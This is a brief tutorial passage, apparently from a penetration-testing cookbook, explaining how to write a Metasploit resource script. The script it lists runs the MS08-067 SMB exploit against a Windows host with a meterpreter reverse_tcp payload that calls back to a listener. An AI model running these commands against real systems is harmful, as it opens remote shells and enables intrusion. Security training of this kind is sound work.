In the following recipe, we will see how we can write a basic script.
Writing a custom resource script
How to do it...
- Open up any editor, such as Nano or Leafpad.
- Type all the commands that you want msf to execute:
use exploit/windows/smb/ms08_067_netapi set payload windows/meterpreter/reverse_tcp set RHOST 192.168.15.15 set LHOST 192.168.15.20 set LPORT 4444 exploit -j
- Save the script with a .rc extension.
- Start msfconsole and type the following command to automatically exploit the machine:
resource /path/to/demoscript.rc
See also
- Resource Scripts is just one way...